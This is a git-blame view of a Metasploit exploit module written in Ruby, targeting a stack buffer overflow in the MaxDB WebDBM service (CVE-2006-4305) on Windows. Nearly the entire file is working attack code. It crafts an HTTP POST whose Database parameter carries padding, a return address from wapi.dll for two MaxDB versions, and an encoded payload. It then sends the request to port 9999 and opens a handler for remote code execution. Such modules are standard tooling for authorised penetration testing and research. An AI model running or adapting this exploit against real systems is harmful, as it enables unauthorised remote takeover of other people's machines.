Files
metasploit-gs/modules/exploits/windows/http/maxdb_webdbm_database.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

82 lines
2.4 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = GoodRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
2006-09-27 03:23:23 +00:00
def initialize(info = {})
super(update_info(info,
2006-09-27 03:23:23 +00:00
'Name' => 'MaxDB WebDBM Database Parameter Overflow',
'Description' => %q{
2010-05-09 17:45:00 +00:00
This module exploits a stack buffer overflow in the MaxDB WebDBM
2006-09-27 03:23:23 +00:00
service. By sending a specially-crafted HTTP request that contains
an overly long database name. A remote attacker could overflow a buffer
2006-09-27 03:23:23 +00:00
and execute arbitrary code on the system with privileges of the wahttp process.
2013-08-30 16:28:54 -05:00
This module has been tested against MaxDB 7.6.00.16 and MaxDB 7.6.00.27.
2006-09-27 03:23:23 +00:00
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2006-4305'],
['OSVDB', '28300'],
2006-09-27 03:23:23 +00:00
['BID', '19660'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
2013-08-30 16:28:54 -05:00
2006-09-27 03:23:23 +00:00
'Privileged' => true,
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Platform' => 'win',
'Targets' =>
2006-09-27 03:23:23 +00:00
[
[ 'MaxDB 7.6.00.16', { 'Ret' => 0x1005a08f } ], # wapi.dll
[ 'MaxDB 7.6.00.27', { 'Ret' => 0x1005b08f } ], # wapi.dll
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2006-08-29'))
2013-08-30 16:28:54 -05:00
register_options( [ Opt::RPORT(9999) ])
2006-09-27 03:23:23 +00:00
end
2013-08-30 16:28:54 -05:00
2006-09-27 03:23:23 +00:00
def exploit
connect
2013-08-30 16:28:54 -05:00
server = rand_text_english(5, payload_badchars)
user = rand_text_english(5, payload_badchars)
pass = rand_text_english(5, payload_badchars)
2006-09-27 03:23:23 +00:00
port = rand(65535).to_s
2013-08-30 16:28:54 -05:00
sploit = rand_text_alphanumeric(91, payload_badchars) + [target.ret].pack('V')
2006-09-27 03:23:23 +00:00
sploit << payload.encoded
2013-08-30 16:28:54 -05:00
2006-09-27 03:23:23 +00:00
req = "Event=DBM_LOGON&Action=LOGON&Server=#{server}&Database=#{sploit}"
req << "&User=#{user}&Password=#{pass}"
2013-08-30 16:28:54 -05:00
res = "POST /webdbm HTTP/1.1\r\n" + "Host: #{rhost}:#{port}\r\n"
2006-09-27 03:23:23 +00:00
res << "Content-Length: #{req.length}" + "\r\n\r\n" + req + "\r\n"
2013-08-30 16:28:54 -05:00
2006-09-27 03:23:23 +00:00
print_status("Trying target %s..." % target.name)
2013-08-30 16:28:54 -05:00
2006-09-27 03:23:23 +00:00
sock.put(res)
2013-08-30 16:28:54 -05:00
2006-09-27 03:23:23 +00:00
#give wahttp.exe a bit to recover...
select(nil,nil,nil,2)
2013-08-30 16:28:54 -05:00
2006-09-27 03:23:23 +00:00
handler
disconnect
end
end